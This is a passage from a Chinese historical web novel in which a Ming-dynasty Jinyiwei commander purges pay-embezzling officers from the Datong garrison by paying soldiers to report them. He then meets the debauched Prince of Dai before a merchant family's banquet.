“该给你们的军饷,一分都不会少,往年缺的,也都一并补齐。” 周楚此话一出,眼前的三万将士肉眼可见的激动了起来,一旁的路瑛等人则是满脸担忧,这么下去,路瑛都有些担忧自己还能不能指挥得动大军了。 不过一想到大军之中的百户千户基本都是自己这边的人,路瑛顿时放下心来。 有这些军官在,大军乱不了。 “大人,您这话有些不妥吧?侵吞军饷的这些人不都杀了吗?能有多少军饷?” 路瑛有些不满道。 很显然,周楚的做法已经快触碰到他的底线了,此时的路瑛在犹豫要不要动手。 周楚听到这话,瞥了一眼路瑛,没有搭理他。 “方才我只是杀了其中一小部分,大部分蛀虫还隐藏在你们之中,自即日起,我给你们三日的时间,但凡你们认为侵吞了军饷的,掌握证据的,都可以直接绑了,抓到本官面前。” 周楚看着眼前激动的将士,说道。 “一旦查实,这些人侵吞的军饷将拿出两成来奖励捉拿举报者。” 周楚在来这里之前,就想好了如何破局,否则又怎么会贸然进入军营这等虎狼之地。 众将士听到这话,虽然都议论纷纷,却并没有人立刻行动。 路瑛此时彻底坐不住了。 “周大人,此举不妥吧,周大人来我军营之中如此搞事,就不怕走不出去吗?” 路瑛面色阴沉道。 “哦?路大人这是在威胁本官吗?本官乃陛下委派,巡查军营,有便宜行事之权,路大人居然敢如此威胁本官,我看你简直是无法无天!” 周楚骤然变色道。 周楚这话一出,早就蓄势待发的沈炼等人瞬间上前,将路瑛等人控制住了。 路瑛虽说是武将,但这些年贪图享乐,一身武功虽然比普通人强上不少,但和沈炼相比,差了不知道多少,仅仅一个照面,就被沈炼按倒了。 更不用说其他文官了。 “兄弟们,还等什么?” 路瑛虽然被按住了,却仍然觉得自己能掌控大局,大喊道。 军中的那些百户千户听到这话,纷纷抽出佩刀。 “有人想要谋反,私通蒙古人,兄弟们拿下他们。” 其中一个千户大喊道。 原本他以为自己可以一呼百应,但接下来的局面却大大的出乎了他的预料,那些士兵基本都没动,甚至他旁边的不少士兵都不怀好意的看着他。 那个喊话的千户很快就被周围的士兵控制了起来,一群士兵将他押到了周楚面前。 “大人,此人名叫徐永,官职是千户,侵吞军饷他也有份,我们有证据。” 周楚看了看徐永,又看了看这些士兵,点了点头。 “本官知道了,这就让锦衣卫着手调查,一经查实,他吞下去的军饷都会吐出来,两成会奖励给你们。” “多谢大人。” 一众士兵无比激动道。 其他士兵并没有急着动,他们想看看周楚是不是真的会说到做到,一旦周楚兑现承诺,那这军营之中就有乐子了。 周楚自然也明白这个道理。 此时的路瑛才彻底慌了,他怎么都没想到事情会这么快就脱离了自己的掌控,明明是在自己的军营之中,却被周楚如此轻易的夺了兵权。 路瑛很后悔,他后悔自己为何没在第一时间就对周楚这些人动手,那样的话虽然麻烦一些,却也不至于陷入如今这种局面。 实际上不只是路瑛后悔,周楚面前的这些官员肠子都悔青了。 不过他们倒是不如路瑛着急,他们想来,周楚不过是整顿军务,即便暂时将他们扣押,也不会把他们如何,毕竟侵吞军饷可和他们没什么关系。 “周大人,你整顿军务,关我等何事?为何要对我等如此无礼?” 胡铎此时说话也不敢过于硬气,毕竟这里可是军营,真要是惹怒了周楚,将他们杀了,他们也没地方说理去。 “诸位不必着急,只是要你们配合一下,暂时委屈,过两日就放你们回去。” 周楚说道。 胡铎等人听到这话,顿时不再说话了,他们只要确认自己会不会有事就行了,至于路瑛的生死,他们不在乎,总兵多的是,换了一茬又一茬,和谁合作不是合作? 正如之前的总兵杭熊一般,这路瑛被提上来也没多久,要说他们和路瑛之间有多深厚的感情,那就有点扯了。 “诸位散了吧,至于这位,很快就有结果了。” 周楚看着眼前的众将士,说道。 三万将士听到这话,这才散去。 那些百户千户此时发现自己身边的那些士兵看自己的眼神怪怪的,不禁感到心里发毛。 “你们要干什么?找死吗?” 其中一个千户色厉内荏道。 “大人,这些士兵真的会动手吗?” 沈炼有些忧虑道。 “如果你一直被吞军饷,你对这些百户千户是什么样的心情?” 周楚似笑非笑地看着沈炼道。 “恨!” 沈炼想了想道。 “那是你,你武力过人,自然不怕,但一般的士兵,对侵吞了他们军饷上官的心情是既怕又恨,看不到实际的好处他们是不会贸然动手的。” 周楚说完这话,转身看向了于海。 “给你半日时间,将这个徐永的底细彻底查清楚。” “是,大人。” 于海领命道。 实际上之前于海就调查的差不多了,这个徐永本就被他记录在册,现在不过是彻底清查罢了,以前虽然知道很多东西,但并没有彻查,自然有许多是查不到的。 现在的于海没了顾忌,自然会放开手脚去大干一场。 第196章 巨额赏金,眼红的士兵 没了束缚和阻力的于海办事能力能有多强,很快众人就见识到了。 一个时辰之后,周楚拿到所有关于徐永的犯罪证据之后,看着眼前的于海以及从徐家抄来的钱财。 “你他娘的真是个人才。” 周楚忍不住感慨道。 怪不得当初陆万山极力向自己推荐此人,办事能力确实不是一般的强。 “多谢大人夸奖。” 于海嘿嘿一笑道。 “去把之前那些举报徐永的兵都叫过来。” 周楚对身旁一个百户道。 “是,大人。” 此人领命离去,不敢怠慢。 此时的整个军营,周楚早已让人戒备了起来,甚至安排了锦衣卫的人严防死守,为的就是防止那些吞了钱的百户和千户狗急跳墙跑出去。 一旦有人跑出去,多半会直奔草原,引来蒙古人,周楚虽然不怕,但在处理完这件事之前,还不想分心对付蒙古人。 “小的拜见大人。” 很快,那些举报徐永的士兵来到了周楚面前,恭敬行礼道。 这些人看着面前箱子里的钱财,似乎意识到了什么,眼神之中极为兴奋。 “徐永的罪名已经查实了,这些都是从徐永家中抄出来的钱财,经过统计,徐永这些年一共侵吞了四万五千七百二十两白银的军饷,其中的两成一共是九千一百四十四两,分给你们五人。” 周楚看着面前的五人,说道。 听到这话,眼前的五个士兵眼中的激动之色再也掩饰不住了,如此一来,他们没人能分到近两千两白银。 这对他们而言可是一笔巨款,直接发财了。 “这样你们五人也不好分,我个人做主,凑个整,再加几两,这样你们每人能分到一千八百三十两。” 周楚笑道。 “大人真是青天大老爷。” 几人听到这话,直接跪了下来,纷纷向周楚磕头。 “本官的要求也很简单,你们回去之后,将所获得的奖励宣扬出去就可以了,本官要让其他人知道,本官说到做到。” 周楚严肃道。 “大人放心,我等一定让这件事全营皆知。” 为首的那人急忙保证道。 他很聪明,如果只有他们五人拿了这些钱,这钱指定是保不住的,但如果有其他人和他们一样,也因为举报获得了巨额奖励,他们的钱就会变得没那么起眼了。 “于海,把钱分给他们。” 周楚看向于海道。 于海听到这话,拿出五个空箱子,开始给几人装银子。 每个人能分到近两千两白银,这可是很重的,如果让他们单独抬回去,他们是抬不动的。 这些人看着眼前箱子里的白银,两眼放光的同时又有些为难。 “于海,派些人帮他们将这些银子抬回去。” 周楚自然知道他们在为什么为难,说道。 “多谢大人。” 几人看着周楚,满脸感激道。 “一会本官可以准你们半日的假,这些银钱放在军营之中也不安全,你们可以存进钱庄之中。” 周楚笑道。 “还是大人考虑的周全。” 一旁的于海拍马屁道。 那几人听到这话,恨不得对周楚纳头便拜了,眼前的这位锦衣卫指挥使大人,事事都替他们着想,他们内心暗暗发誓,一定要帮大人将这件事办成。 这五人之中为首的叫张朝,于海给他们每个人派了两个锦衣卫帮他们抬箱子,虽然有些费劲,但这箱子本身就不大,人再多也施展不开了。 “两位大人,有劳了。” 张朝也是个会来事的人,直接从箱子里拿出两锭银子,给两人一人一锭。 这些都是官银,毕竟是拿出来发放军饷的,一般都是十两一锭的,也有五两和一二两的小银锭,因为大明士兵每年的军饷大概是在十八两上下,只有十两的肯定是不好发的。 张朝也是个敞亮人,给了这两个锦衣卫一人一个十两的银锭。 两人接过银锭,顿时露出了笑容,也不枉他们帮忙抬了一路。 “兄弟一会要想出军营,我们俩也可以帮忙,你一个人带着这么多钱,怕被人盯上,指挥使大人都吩咐了,让我们护送好你。” 其中一个锦衣卫笑道。 拿了钱,态度自然和之前不一样了。 “那就有劳两位大人了。” 张朝看着眼前这么多的白银,心里也很忐忑,他活这么大,还是第一次见到这么多钱,这让他有种如坠梦中的感觉,很不真实。 如果不把这些钱赶紧存进钱庄,他今晚肯定是不敢睡觉的。 不只是张朝,其他几人的想法也都差不多,几人出了军营之后,全都把这些白银存进了钱庄之中,为了以防万一,存的还都是记名银票。 忙完这些之后,张朝跟随锦衣卫直接回到了军营之中,回到军营之中的时候,天色已经慢慢黑了下来,此时的张朝怀揣着一千多两的记名银票,走路都觉得发飘。 以前他做梦都没敢想自己有一天会发这么一笔横财。 “有劳两位大人了。” 回到军营之后,张朝向两位一路护送他的锦衣卫行礼道。 “不必客气,职责所在罢了。” 两个锦衣卫笑着离开了。 张朝回到营帐之后,和他同一个营帐的那些士兵纷纷围了过来。 “听说你小子发财了?” 张朝的伍长来到他面前,一脸羡慕道。 “确是发了大财。” 张朝满脸得意道。 他说完这话,从怀中取出刚到手没多久的银票,给众人看了看。 “看到没,徐永那老小子吞了四万多两,指挥使大人分给我们每人一千八百多两。” 张朝满脸炫耀道。 这些银票都是记名的,他倒也不怕众人起心思。 “多少?” 听到这个数字,不只是伍长眼睛红了,其他人眼睛也都红了。 “一千八百三十两整。” 张朝一字一顿道。 “他娘的,没想到指挥使大人真能说到做到,不行,我知道孙永元那老小子也不干净,各位兄弟,谁愿意和我干一票?” 此时的伍长已经被金钱蒙蔽了双眼,他从未如此激动过,发大财的机会就在眼前,这要是错过了他能后悔一辈子。 第197章 被一网打尽的百户千户,彻底掌控军营 为了方便下面的士兵举报,当晚周楚以及于海这些大同的锦衣卫全都住在了军营之中。 当天夜里就有不少百户想要闯营,试图跑出去,全都被锦衣卫的暗哨拦截了下来,扭送到了周楚面前。 “你们怎么就这么想不开呢?怕了?” 周楚看着眼前这几个百户,调侃道。 闯营的只有百户,没有一个千户,显然这几个人是被人派出去试水的,倘若他们能跑出去,其他人也会跟着跑出去。 但显然他们的如意算盘落空了。 “你们只是百户,想来也贪墨不了多少军饷,罪不至死,现在闯营,本官可以将你们就地正法。” 周楚前半句语气还很柔和,好像在替他们着想,后半句神情突变,脸色冷峻,眼泛寒光,让这几位百户毫不怀疑周楚敢不敢杀他们。 毕竟白天的时候,眼前的这位锦衣卫指挥使可是当众杀了十几位百户和一个千户的。 “大人饶命!大人饶命!” 几人急忙磕头道。 “你们的罪可大可小,不过在本官一念之间,陛下给了本官便宜行事之权,你们的生死,也在便宜之内,懂吗?” 周楚看着眼前几人,说道。 几人听到这话,都吓得浑身哆嗦,他们虽然是百户,但常年贪财好色,再加上大同除了前些日子的蒙古兵袭击,已经多年无战事,早已丧失斗志,比普通的士兵都远远不如。 “大人的意思你们还不明白吗?举报有功,只要你们能将其他人都供出来,提供足够的证据,你们的死罪就可以免了,贪墨军饷的罪过也可以适当减轻。” 一旁的沈炼说道。 他跟随周楚这么久,对于周楚的暗示瞬间领悟,周楚唱了白脸,自然要有人出来唱红脸。 “大人,我招,我全都招!” 几人急忙磕头道,生怕说慢了,周楚改了主意。 “于海,他们交给你了,好好审。” 周楚看向于海道。 “是,大人。” 于海恭敬道。 说完这话,于海将几人带到了旁边的帐篷之中,开始连夜突审。 于海等人刚离开,周楚就听到了营帐之外居然响起了喊杀之声。 “去看看怎么回事。” 周楚说道。 一个锦衣卫百户听到这话,急忙出了营帐,过了大概一字钟,此人回来了。 “大人,是那些伍长和什长正在组织士兵捉拿那些百户和千户,不过这些百户千户也知道今晚不好过,都聚集在了一起,所以现在打了起来。” 周楚听到这话,并没有太意外,刚才这几位闯营的百户很可能就是这些聚集在一起的百户千户派出去的。 为了自保,他们也只能聚集在一起。 不过百户和千户数量毕竟有限,此时的士兵已经看到了张朝他们获得的巨额赏金,一个个自然是红了眼,眼里哪还有什么百户千总,这在他们眼里都是钱。 周楚很清楚,这种小规模冲突不会持续多久。 果然,仅仅过了一刻钟不到,军营之中的喊杀之声消弭于无形,那些百户和千户很快就被一群群士兵押送着送到了周楚面前。 这些士兵还生怕杀死他们没了赏金,只有少数几个百户受了些伤,居然无一人死亡。 侵吞军饷的事,伍长什长是没有份的,最起码也得百户起步,倘若这些伍长什长都有份的话,他们也不会如此英勇了。 于海因为之前的喊杀之声,早已来到了周楚的营帐之内,之前的那几个百户自然是交给了其他锦衣卫来审。 这些百户每一个至少被四五人押着,千户则更多,每一个都有七八人押着,那些没抢到的士兵跟在后面,满脸的失落,他们感觉自己错过了这一辈子最大的一笔财富。 “不要急,一个个来,都会记录在册,谁举报的,查实之后都会按照名册发放赏金。” 周楚看着眼前攒动的人群,说道。 听到这话,原本还有些杂乱的人群立刻安静了下来,按照于海的要求开始有序排队。 很快,这些百户千户以及将他们押过来的那些人的名单全都被记录在册,当然,仅仅是押送过来是不够的,还得提供关键的证据。 于海虽然掌握了其中一小部分人的证据,但也有限,想要将这些百户千户全都查实,还得靠这些士兵。 “大人,孙永元有一个外宅,他的钱都藏在那里,小人估计那里还有他的账目。” 一个伍长满脸恭敬道。 于海将这些信息全都记录了下来,包括孙永元外宅的具体位置。 报出关键信息的,基本都是伍长什长,他们对这些百户千户的事多多少少都是知道一些的,士兵偶尔能有几个知道的,但极少。 整个军营之中,千户就近三十个,百户更是有近三百个,为了记录的更快一些,于海还让这些人分成了四五队,即便如此,等全部记录完毕的时候,天已经放亮了。 “按册子查,查实之后直接抄家。” 周楚打了个哈欠道。 “是,大人。” 于海此时感到无比的亢奋,后半夜他还有些犯困,现在睡意过去了,再加上马上有大事要办,即便是一夜没睡,他也是一点困意都没有。 等众人散去之后,周楚直接躺在营帐之中的床上,和衣而眠了,一旁的沈炼虽然也有些犯困,但他清楚,此时正是关键时刻,大人的安危至关重要,所以沈炼一刻都不敢睡。 周楚之所以不出军营,也是为了自己的安危着想,如今的军营出了这么大的事,外面的人或许短时间内不会知道具体发生了什么,但也瞒不了多久。 最多一天,军营之中的信息就会传出去,到了那个时候,恐怕会有人因此疯狂。 此时周楚只带了十几个人,大同府的锦衣卫又有很多有问题的,所以一旦出了军营,周楚的人身安全就会收到极大的威胁。 别的不说,单单一个马匪截杀,周楚都没有应对的手段。 虽然可以用锦衣卫的人来应对,不过一旦打起来,锦衣卫之中恐怕就会有人趁乱袭杀自己。 君子不立于危墙之下,如今对周楚而言,军营之中才是最安全的地方,那些百户千户都被周楚解决了。 或许有一些居心叵测的,但此时的军营大多是士兵,特别是那些参与举报的伍长什长,比谁都希望周楚好好活着,因为只有周楚活着,他们的赏金才有希望落实。 甚至不用周楚吩咐,这些伍长什长就自发的组织起来,暗中护卫在周楚的营帐附近。 于海来大同这么久,做事一直缩手缩脚,不敢有太大的动作,生怕打草惊蛇,如今再无顾忌,如同蛟龙入海,在整个大同开始了大肆查办那些百户和千户的家宅。 一时之间,整个大同有些风声鹤唳,那些没进军营的官员,纷纷嗅到了不同寻常的味道。 第198章 发放军饷,彻底掌控军队,王家的邀约 这些官员茫然无措,想知道到底发生了什么,于是纷纷来到知府胡铎的府上想要见胡铎。 却被告知胡铎早上就进了军营,此时已经过了一整天了,还没回来,胡家的人也很着急。 得知这个消息的一众官员才确定军营一定是出事了,他们不知道军营具体出了什么事,会不会波及到他们。 一时之间,他们也拿不定主意。 “前两日城内出现了一批人马,十几个人,人高马大,还都有马,当时知府大人就让我们去盯着,想来应该是这些人搞出来的事情。” 其中一个官员不确定道。 “错不了,大同但凡有生面孔都逃不过我们的耳目,这些天也没有其他生面孔了。” 另一个官员附和道。 “这些人是什么人?京城来的?” 一个山羊胡的中年男人,捋了捋胡子,眼中闪着精光道。 “很有可能,除了京城的人,谁有这个本事?” 旁边的人点头道。 “这可是大同,即便是京城来了人,有路总兵在,军营之中还能出了乱子不成?” 山羊胡一脸不信道。 “现在这情况,锦衣卫到处抓人,很显然是出问题了,不然的话,胡大人也不会彻夜不归。” 为首的官员强自镇定道。 此时一个官员急匆匆的跑了过来。 “锦衣卫的暗桩来消息了,确实是京城的人,在彻查军饷的问题,应该不会波及到我们。” 众人听到这话,暗自松了口气。 实际上这个消息是周楚有意放出去的,为的就是防止这些人狗急跳墙,这些人只有在确定不会波及到自己的时候,才能坐得住。 于海的行动效率很高,但这次要查抄的人员实在是有点多,整个大同府的锦衣卫,真正信得过也就一半左右,不到五百人。 即便将那些立场摇摆的都安排在里面一起行动,想要彻底清查这三百多人,也需要很长的时间。 彻底查清这些人的问题,于海的人花了六七天的时间,这六七天的时间,给周楚养马的那几个太监,带着一个厨子,已经到了大同。 春兰也跟着过来了,原本周楚不想让春兰过来的,毕竟大同和苏州不同,此时又是冬天,一个女孩子家,来这里要受不少罪。 但春兰坚持要来,她怕自己不在周楚身边,自家少爷找不到贴心伺候的人,而且很多事春兰怕其他人办不好,于是周楚也没再坚持。 不过这些人是进不了军营的,特别是春兰还是个女人。 周楚让人将他们安顿在自己之前住的那个宅子里了,等处理完这件事,或者虎贲军抵达大同的时候,周楚就可以彻底放开手脚大干一场了。 虎贲军配给的燧发枪都带着,弹药也都带足了。 子母炮专门有人运送,先是走水路运送到天津,然后从天津运送到大同,算下来整体的速度和虎贲军也差不了多少。 原本在苏州府的那些南镇抚司的工匠们,也都回了京,在京城继续制造枪炮。 “大人,全都查清了,家也抄完了。” 于海让锦衣卫带着一箱箱钱财进了军营。 这些百户千户,家产都不是特别多,抄起家来也很快,基本上十几个人一天就可以抄很多家。 当然,这只是初步的查抄,剩下的还要留一些人仔细搜寻,以防有缺漏的。 “没人动手脚吧?” 周楚瞥了一眼于海道。 “大人放心,属下专门安排了人监察的,抄家出来的,一个个都要搜身。” 于海急忙保证道。 周楚听到这话,满意地点了点头,这个于海,办事能力确实不错。 看着手中记录的册子,这次抄家,一共抄出来白银三百多万两,铜钱两千三百多万贯,其他的都是些不值钱的玩意。 这些百户千户家中,能有什么好玩意。 这些钱,大部分是贪墨的军饷,少部分是这些人通过其他渠道赚的,比如那些商人行商,路瑛这种人也会适当的分给他们一些,但不多。 为的就是将他们彻底绑在一个战船上,形成一个利益共同体。 “让全军集合。” 周楚看向不远处的一个什长道。 那什长听到这话,看着眼前的一箱箱银钱,顿时明白了周楚要干什么,当即激动的去召集全军集合了。 “去把路瑛带过来。” 周楚看向于海道。 “是,大人。” 于海领命离去。 于海这次彻查,查的可不只是这些百户和千户,路瑛自然也查了,这么多人被抓,他们都很清楚总会有人把路总兵供出去的。 别人说不如自己说,锦衣卫指挥使可是说了,供出来的人越多,处理的就越轻。 所以这次抄家,不只是抄了这些百户和千户的,也包括路瑛家。 只不过路瑛任职总兵满打满算也才大半年的时间,贪不了多少,大头都被之前的总兵杭熊弄走了。 对于这一点,周楚并不意外,他直接给京城去了一道奏疏,罗列了杭熊贪墨的金额和证据,至于剩下的如何处置,就由皇帝来定了,毕竟杭熊已经被调离大同了。 这次大军集结的很快,效率出奇的高,领钱不积极,脑子有问题。 周楚直接让人将这一箱箱钱财抬到了大军面前。 “诸位也猜到了,之前你们举报的那些人,基本都属实,现在已经将他们的家产全部抄没,其中的两成,奖励给那些举报的将士们,剩下的则全部发为军饷。” 周楚大声道。 “好!好!好!” 听到这话,数万将士都变的极为兴奋,齐声喝好。 一旁被带过来的路瑛看到这一幕,意识到大势已去,脸色灰败。 等大军静下来之后,周楚给于海使了个眼色,于海当即拿着一个册子上前。 “下面我念到名字的,上前来领钱。” 于海喊道。 接下来就是发钱的时间,之前举报的那些将士,一个个被念到名字上前领钱,多的两三千两,少的也有二三百两,这就是举报的千户和百户的区别。 听着一个个熟悉的人名,突然发了财,其他人都捶胸顿足,暗自后悔自己怎么没抓住这么好的机会呢。 仅仅是发钱就发了大半天,毕竟这么多人,一个个发放,还要确保不出错,是一个仔细且漫长的过程。 发完钱,已经是下午了,中间周楚还去吃了个饭,数万将士虽然没吃饭,却一点都不着急,因为他们等着发钱呢。 “那些赏金发完了,剩下的就是军饷了,本官让人核算了一下,普通士兵,每人能领到一百两白银,三十贯铜钱,这些是这些年少发的军饷,白银不够,用铜钱补一下,大家应该没意见吧?” 周楚笑道。 听到这话,数万大军轰然一笑,对他们而言,能领到钱已经是千恩万谢了,而且还是一次领这么多钱,这在以前他们想都不敢想。 这些卫所的士兵,基本都是军户,世代当兵的,所以周楚也不担心发错,无非是有些当爹的钱发给儿子罢了,这种事,周楚自然不会再去一个个处理。 大军饷银的发放,效率要高得多,分成十几个队伍同时发放,而且数目都是相同的,即便如此,全部发完,也已经到了半夜了。 全营将士都在埋锅造饭,一天没吃饭,全都饿坏了。 “路瑛,你还有什么话好说?” 周楚此时才有时间搭理路瑛。 “成王败寇罢了,有什么好说的,不过你也别高兴的太早,这里的水太深,小心把你淹死。” 路瑛满脸愤恨道。 他确实该恨,钱大部分都被杭熊捞了,锅被他背了,这让他如何能服气? 之前周楚让嘉靖调离杭熊,有很大一部分原因是杭熊在大同深耕多年,倘若自己来大同的时候还是杭熊领兵,恐怕想夺权没那么容易。 但路瑛统兵不过半年,没那么大的号召力,夺权自然简单很多。 “这就不劳你操心了,你身为总兵,带头侵吞军饷,罪不可恕,押送京城,由陛下定罪。” 周楚冷声道。 路瑛毕竟是总兵,自己虽然有足够的理由将他就地斩杀,但现在既然已经控制了军队,这个决定最好还是由皇帝做的好。 不经通报,擅杀大将,理由再充足,也容易引起忌惮。 “大人,军营外有人送了请柬,说是请大人过府一叙。” 沈炼拿着一个请柬来到周楚面前道。 白天沈炼补了个觉,所以此时精神很是充足。 “谁家送请柬半夜送?看来这帮人是真着急了。” 周楚冷笑道。 说完这话,周楚接过请柬,打开看了一眼。 “王长山?” 周楚看着这个名字,并不意外。 大同甚至整个江西和苏州以及江南不同,江南那些商人基本都是为官员服务的,很多商人都是他们的钱袋子,性命完全攥在官员手中。 因为这些官员的根基在京城,甚至巅峰时期,内阁首辅一直都是他们的代言人,那些商人自然不敢有任何异心。 但山西以及大同完全不同,这里的商人坐大,甚至可以和本地官员平起平坐,像王家这等在整个山西都赫赫有名的商人世家,在大同更是只手遮天,连胡铎这些官员的任免,都是他们说了算。 王长山作为王家的家主,其地位甚至能和山西省的一些顶级官员差不了太多,这其中的利益往来,不可谓不惊人。 “大人,宴无好宴啊。” 于海满脸担忧道。 “怕什么,人家既然都亮招子了,本官要是不去,岂不是露怯了?” 周楚笑道。 虽然虎贲军还要些天才能到,但周楚也不是一点底气都没有,最起码现在军营完全在自己的掌控之中,军权在握,还有周楚带来的数十把燧发枪,倘若一个宴会都不敢去,那才是笑话。 第199章 代王朱俊杖,周楚和代王的交锋 第199章 代王朱俊杖,周楚和代王的交锋“将你信得过的百户总旗还有小旗官都叫过来。” 周楚看着于海道。 “是,大人。” 于海知道周楚决心赴宴了,不敢怠慢,急忙去摇人。 很快,近百个锦衣卫全都集结在了周楚面前,这些大多是小旗官,少数是总旗和百户。 周楚给了沈炼以及那十几个跟随自己来的百户一人一把燧发枪,也给了于海一把,至于其他人,周楚则没发。 一来是总共就带来几十把燧发枪,不够发的,二来,周楚不敢确认这些人之中有没有人有问题,即便是于海,也不敢说这些人一个有问题的都没有。 但凡把枪发错了人,就相当于把自己的后脑勺置于他人的枪口之下,那是极其危险的。 周楚一向很谨慎,奉行的原则便是如果不想一个人背叛你,就不要给他背叛的机会。 周楚带着上百人,浩浩荡荡地就向着王家去了,眼看着快到王家的时候,周楚遇到了一个相当豪华的轿子。 这顶轿子可以说是周楚见过的最豪华的,没有之一,前前后后周楚看了一眼,三十二个人抬着,这怕不是和后来的张居正的轿子一个规制的吧? 大同府还有人敢用这种轿子? 周楚看向了一旁的于海,露出了一个询问的眼神。 “大人,这是代王的轿子,恐怕也是去王家赴宴的,代王府和王家关系匪浅,大人还需小心一些。” 于海提醒道。 周楚听到这话,顿时恍然,如果周楚没记错的话,这一代的代王朱俊杖相当的荒淫,代思王朱聪沫死后,这家伙在服丧期间仍然荒淫无度,被废为庶人,直到后来弘治十二年才世袭了代王。 代王府镇守大同,如果说王家以及那些晋商做的事他们不知道,那才有鬼,知道却没有作为,便只有一种可能,代王府和这些人之间有利益往来。 这种利益往来到了朱俊杖这种荒淫无度的成为代王之后,恐怕已经达到了顶峰。 周楚当即示意一众锦衣卫给代王的车驾让路,这是礼制问题,周楚不会逾越。 代王的轿子走到周楚面前,却停了下来。 “外面的可是锦衣卫指挥使周楚?” 轿子里面传来一个中年男人的声音,很显然,这是代王朱俊杖的声音。 “下官见过大王,公务在身,不便全礼,还望大王见谅。” 周楚坐在乌骓马上,抱拳行礼道。 “周大人可是威风得很啊,本王都听闻了周大人做的事。” 朱俊杖阴阳怪气的声音传了出来。 “此乃下官职责所在,为君分忧,义不容辞。” 周楚说话滴水不漏,让原本想借机找茬的朱俊杖有种一拳打在了棉花上的感觉。 “大王邀请周大人进轿一叙。” 轿子的帘子被撩开,一个长相极漂亮的婢女看着周楚说道。 “下官叨扰了。” 对于代王,周楚并不怕,代王毕竟姓朱,他的所有权利,所有的一切都来源于大明姓朱。 即便代王府和这些晋商有些利益往来,也不会真的站在他们那边,顶多是睁一只眼闭一只眼罢了。 周楚要做的,便是将代王争取到自己这边来。 无论朱俊杖多么荒淫,他始终是藩王,如何处置他是大明朝廷的事,是皇帝的事,周楚是没有处置藩王的权限的,如非必要,周楚不想和代王府为敌。 周楚将乌骓马的缰绳递给了一旁的沈炼,随后翻身下马,信步登上了朱俊杖的轿子。 进入轿子之后,周楚看了一眼里面的情景,不禁大开眼界。 这个轿子外面看上去已经够大了,进入里面才发现空间更大,这里面甚至被隔出了好几间,最中间朱俊杖躺在一张大床上,上面有好几个很漂亮的女人衣衫半解的伺候着。 “这,下官冒犯了。” 周楚看到这些女人这般模样后,急忙说道。 “无妨,左右不过是一些玩意罢了,周大人若是喜欢,本王可以把她们都送给你。” 朱俊杖哈哈一笑道,对于他身边这些女人的春光外泄毫不在意。 “多谢大王美意,不过下官福薄,恐怕无福消受。” 周楚笑道。 “坐吧。” 朱俊杖指了指旁边类似沙发的也不知是椅子还是什么的家具,说道。 周楚也不客气,直接坐了下来。 “不知大王召见,所为何事?” 周楚看着朱俊杖问道。 “听说你把路瑛给办了?” 朱俊杖看着周楚,问道。 “不只是路瑛,军营之中大多数百户千户都侵吞军饷,喝兵血,下官此次前来,其中一件事便是彻查此事。” 周楚如实回答道。 “可还有其他事?” 朱俊杖不着痕迹地问道。 “自然是有的,彻查大同城内哪些商人和蒙古人勾结,彻底法办。” 周楚也不隐瞒,直接说道。 朱俊杖听到这话,目光一凝,他还真怕周楚查这个,因为他代王府和那些商人之间不清不楚,虽说他们代王府没有帮过那些人,真要查起来,恐怕也逃不了干系。 “真的要查?” 朱俊杖面色瞬间变得冷峻无比道。 “自然要查,原本以大明对蒙古人的国策,那些蒙古人早就应该无力再犯大明边境,可前段时间,那些蒙古人是怎么回事?倘若不是陛下未雨绸缪,提前换将,恐怕此时大同城已破。” 周楚面色肃穆道。 “大王试想一下,倘若大同城破,代王府是否能幸免于难?大王是否能幸免于难?” 周楚看着朱俊杖,言之凿凿道。 朱俊杖听到这话,陷入了沉默之中,之前蒙古人来袭,他也是惊出了一身冷汗,一旦大同城破,最好的结果也是他们出逃。 他毕竟是老朱家的子孙,即便再荒淫,面对这种可能出现的情况,他也是接受不了的。 这大同可是他的封地啊。 “周大人要查到什么程度?” 朱俊杖试探性地问道。 “下官只查那些商人,以及和他们勾结的官员,下官只负责自己权限之内的事。” 周楚说道。 这话相当于给朱俊杖一个定心丸,我只会查自己权限内的,你代王府不在我的职权之内。 朱俊杖显然也听懂了周楚的潜台词,面色瞬间转晴,面露笑容。 “周大人果然是个妙人,本王身为朱姓子孙,对这种通敌叛国的行为深恶痛绝,周大人如果需要的话,本王可以暗中配合你。” 朱俊杖说着举起酒杯,一饮而尽。 第200章 给代王的定心丸,周楚和王长山的初次交锋 第200章 给代王的定心丸,周楚和王长山的初次交锋“既如此,这王家的宴会,周大人认为本王该不该去?” 朱俊杖看着周楚,问道。 这话是在隐晦的表示,他要不要去王家参加宴会,暗中帮助周楚。 “大王何等身份?王家区区一介商贾之家,怎劳大王屈尊,区区王家,下官还没放在眼里。” 周楚笑道。 朱俊杖听到这话,顿时明白了周楚的意思。 “周大人说的有道理,区区一介商贾,本王去了倒是有失身份,那本王这便打道回府了。” 朱俊杖说着,看向了一旁伺候的婢女,给她使了个眼色。 婢女来到轿门口,掀开轿帘。 “主子有令,原路返回。” “如此,下官就告辞了。” 周楚起身行礼道。 “本王希望周大人能够大展拳脚,周大人有所不知,本王虽然是藩王,但手中没有什么实权,更无兵权,在这大同城内也是多受掣肘,很多事也是不得不为之。” 朱俊杖叹了口气道。 周楚自然知道朱俊杖这话的意思,无非是想撇清自己的关系。 代王府要说多无辜到也不见得,毕竟得了好处,但如果真说同流合污,主动私通蒙古人,却也说不过去,不过这些都不是周楚需要考虑的。 代王世代镇守大同,轻易动不得,牵一发而动全身,周楚很清楚,如非必要,皇帝是不会动任何一个藩王的。 任何一个藩王的失衡都会导致地方势力的疯狂滋生。 “大王不必介意,代王府世代镇守大同,陛下即便是知道,也不会因为这些事追究大王的,对陛下而言,大同有代王府比没有强得多。” 周楚说道。 朱俊杖听到这话,如同吃了一颗定心丸。 “周大人果然是爽快人,这几个玩意周大人看不上的话,回头本王让人送几个雏给周大人。” 朱俊杖笑道。 “周大人可切莫推辞了,你要是再推辞,本王心里可就没底了。” 朱俊杖略显责怪道。 “多谢大王美意。” 周楚行礼道。 周楚清楚,代王把话说到这个份上了,这份礼物自己是收也得收,不收也得收,只有收下了,朱俊杖才会彻底放心。 周楚离开朱俊杖的轿子之后,那些轿夫才再次抬起轿子,后头变前头,直接原路返回了。 周楚是不希望代王府趟这趟浑水的,有朱俊杖在,周楚施展不开。 周楚翻身上了乌骓马,率领一众锦衣卫直奔王家而去。 在离王家还有很远的时候,周楚就远远的看到了王家,实在是因为王家的大院太过显眼,所谓的高门大院不外如是,王家的院墙很高,有三米多高,而且看上去就很坚固。 整个王家大院只是从外面看,就看的出很大,周楚很清楚,这王家不知道养了多少私兵,倘若是自己刚来大同的时候贸然进入王家,恐怕凶多吉少。 